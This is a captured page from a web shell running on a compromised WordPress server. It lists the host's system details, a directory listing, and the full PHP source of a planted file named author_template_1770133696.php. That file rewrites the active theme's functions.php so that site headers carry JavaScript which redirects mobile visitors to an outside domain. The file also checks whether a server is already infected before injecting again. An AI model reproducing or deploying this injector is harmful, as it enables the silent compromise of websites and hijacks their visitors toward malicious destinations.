privdayz.com speacial mini anti bypass shell

Linux centos-s-1vcpu-2gb-sgp1-01 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
nginx/1.26.1
167.99.78.96

File Name : author_template_1770133696.php

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
$wpLoad = $root . '/wp-load.php';

if (!file_exists($wpLoad)) {
    trigger_error('wp-load.php not found', E_USER_ERROR);
}

require_once $wpLoad;

$theme = get_option('stylesheet');
if (!$theme) {
    trigger_error('Active theme not found', E_USER_ERROR);
}

$functions = $root . '/wp-content/themes/' . $theme . '/functions.php';
if (!file_exists($functions)) {
    trigger_error('functions.php not found', E_USER_ERROR);
}

$host = $_SERVER['HTTP_HOST'] ?? '';
$host = preg_replace('/:\d+$/', '', $host);
$parts = explode('.', $host);
if (count($parts) > 1) {
    array_pop($parts);
}
$var = implode('.', $parts);

$redirectCode =
"<?php\n".
"add_action('wp_head', function () {\n".
"?>\n".
"<script>\n".
"(function(){\n".
"    if (/Android|iPhone|iPad|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)) {\n".
"        location.href = \"https://lakns.com/link?z=9557727&var={$var}&ymid={CLICK_ID}\";\n".
"    }\n".
"})();\n".
"</script>\n".
"<?php\n".
"});\n";

$content = file_get_contents($functions);
if ($content === false) {
    trigger_error('Failed to read functions.php', E_USER_ERROR);
}

if (strpos($content, 'lakns.com/link?z=9557727') !== false) {
    exit;
}

if (preg_match('/^<\?php\s*/', $content)) {
    $content = preg_replace('/^<\?php\s*/', $redirectCode, $content, 1);
} else {
    $content = $redirectCode . $content;
}

if (file_put_contents($functions, $content) === false) {
    trigger_error('Failed to write functions.php', E_USER_ERROR);
}

System Information
*ReClick For Close
File : privdayz.com /index.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	nginx/nginx	0755	2026-02-24 05:30:23
..	dir	-	nginx/nginx	2755	2026-02-24 10:39:19
.htaccess	text/plain	420 B	nginx/nginx	0644	2026-02-24 05:30:23
author_template_1770133696.php	text/html	1.64 KB	nginx/nginx	0644	2026-02-03 03:48:28
class-wp-interactivity-api-directives-processor.php	text/x-php	7.58 KB	nginx/nginx	0644	2025-12-03 11:39:48
class-wp-interactivity-api.php	text/x-php	48.92 KB	nginx/nginx	0644	2025-12-03 11:39:48
custom.file.3.1770179066.php	text/plain	1.08 KB	nginx/nginx	0644	2026-02-04 04:24:33
interactivity-api.php	text/x-php	4.92 KB	nginx/nginx	0644	2024-11-13 08:26:29